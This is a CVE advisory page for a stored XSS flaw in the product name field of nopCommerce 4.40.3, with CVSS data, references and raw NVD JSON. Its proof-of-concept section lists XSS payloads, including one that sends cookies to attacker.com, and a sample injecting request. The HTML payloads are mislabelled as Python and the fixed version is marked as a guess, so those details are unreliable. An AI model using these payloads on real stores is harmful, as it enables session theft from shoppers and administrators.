CVE-2021-42193

Description

nopCommerce 4.40.3 is vulnerable to XSS in the Product Name at /Admin/Product/Edit/[id]. Each time a user views the product in the shop, the XSS payload fires.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nopcommerce:nopcommerce:4.40.3:*:*:*:*:*:*:* - VULNERABLE

nopCommerce 4.40.3

nopCommerce < 4.40.4（推测修复版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2021-42193 PoC: Stored XSS in nopCommerce Product Name -->
<!-- Target: /Admin/Product/Edit/[id] -->
<!-- Payload is injected into the Product Name field -->

<!-- Method 1: Simple script tag injection -->
<script>alert('XSS-CVE-2021-42193');document.location='http://attacker.com/steal?cookie='+document.cookie</script>

<!-- Method 2: Image tag with onerror event -->
<img src=x onerror="alert(document.cookie)">

<!-- Method 3: SVG-based payload -->
<svg/onload=alert('XSS')>

<!-- Method 4: Body with onload (for testing) -->
<body onload=alert('XSS')>

<!-- HTTP Request Example (conceptual) -->
<!--
POST /Admin/Product/Edit/1 HTTP/1.1
Host: target-nopcommerce-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: .NOP.AUTH=admin_session_cookie

Name=<script>alert(document.cookie)</script>&Price=100&...
-->

<!-- Trigger: Visit the product page in the storefront -->
<!-- URL: /Product/[product-id] or any page displaying the injected product name -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2021-42193
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2021-42193
[3] CVE Details https://www.cvedetails.com/cve/CVE-2021-42193/
[4] VulDB https://vuldb.com/cve/CVE-2021-42193
[5] http://nop.com
[6] http://nopcommerce.com
[7] https://cxsecurity.com/issue/WLB-2025100002

Raw JSON Data

JSON

{"cve": {"id": "CVE-2021-42193", "sourceIdentifier": "[email protected]", "published": "2025-10-03T17:15:45.883", "lastModified": "2025-12-19T17:07:54.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nopCommerce 4.40.3 is vulnerable to XSS in the Product Name at /Admin/Product/Edit/[id]. Each time a user views the product in the shop, the XSS payload fires."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nopcommerce:nopcommerce:4.40.3:*:*:*:*:*:*:*", "matchCriteriaId": "A7A94984-E05C-4050-ABBF-C5BD75A1778F"}]}]}], "references": [{"url": "http://nop.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://nopcommerce.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://cxsecurity.com/issue/WLB-2025100002", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}